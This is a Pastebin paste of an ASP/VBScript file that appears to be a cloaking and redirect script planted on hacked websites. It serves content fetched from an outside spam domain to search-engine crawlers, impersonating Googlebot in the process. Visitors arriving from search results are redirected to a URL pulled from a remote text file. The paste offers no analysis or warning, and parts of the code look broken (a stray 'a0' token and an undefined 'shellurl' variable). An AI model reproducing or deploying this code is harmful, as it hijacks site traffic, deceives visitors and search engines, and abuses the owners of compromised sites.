SHARE
TWEET

Untitled

a guest Sep 3rd, 2019 147 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
  2. <%
  3. jumpcode="http://www.xoluckymaxerrunkensakuner.xyz/en/adidas.txt.html"
  4. desurljiechi="http://www.bisnoschallgallery.com/"
  5. '===============================================
  6. Function IsUserSearch()
  7.     s_ref=Request.ServerVariables("HTTP_REFERER")
  8.     If instr(s_ref,"google")>0 Or instr(s_ref,"yahoo")>0 Or instr(s_ref,"bing")>0 Or instr(s_ref,"aol")>0 Then
  9.         IsUserSearch = true
  10.     else
  11.         IsUserSearch = false
  12.     end if
  13. End Function
  14. '===============================================
  15. function is_spider()
  16.     dim s_agent
  17.     s_agent=Request.ServerVariables("HTTP_USER_AGENT")
  18.     If instr(s_agent,"google")>0 Or instr(s_agent,"yahoo")>0 Or instr(s_agent,"bing")>0 Or instr(s_agent,"msnbot")>0 Or instr(s_agent,"alexa")>0 Or instr(s_agent,"ask")>0 Or instr(s_agent,"findlinks")>a0 Or instr(s_agent,"altavista")>0 Or instr(s_agent,"baidu")>0 Or instr(s_agent,"inktomi")>0 Then
  19.     is_spider = 1
  20.     else
  21.     is_spider = 0
  22.     end if
  23. end function
  24. '===============================================
  25. Function GetHtml(url,k)
  26.   agent = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"&k
  27.   Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
  28.   ObjXMLHTTP.Open "GET",url,False
  29.   ObjXMLHTTP.setRequestHeader "User-Agent",agent
  30.   ObjXMLHTTP.setRequestHeader "Referer", "https://www.google.com/"
  31.   ObjXMLHTTP.send
  32.   GetHtml=ObjXMLHTTP.responseBody
  33. End Function
  34. spider = is_spider()
  35. querystr = request.ServerVariables("QUERY_STRING")
  36. if  spider = 1 or querystr = "feiya" then
  37.     htmls = GetHtml(desurljiechi&querystr,"")
  38.     response.write htmls
  39.     response.end()
  40. else
  41.     if IsUserSearch then
  42.         if instr(jumpcode,".txt")>0 then
  43.             jumpcode = GetHtml(jumpcode,"Mozi11a")
  44.             tiaoarray=split(jumpcode,"?")
  45.             if IsEmpty(tiaoarray(0)) then
  46.                response.redirect jumpcode&"?"&shellurl
  47.             else
  48.                response.redirect tiaoarray(0)&"?"&shellurl
  49.             end if
  50.         end if
  51.     end if
  52. end if
  53. 'direct visitor, just forward to the root page
  54. response.redirect "index.html"
  55. %>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top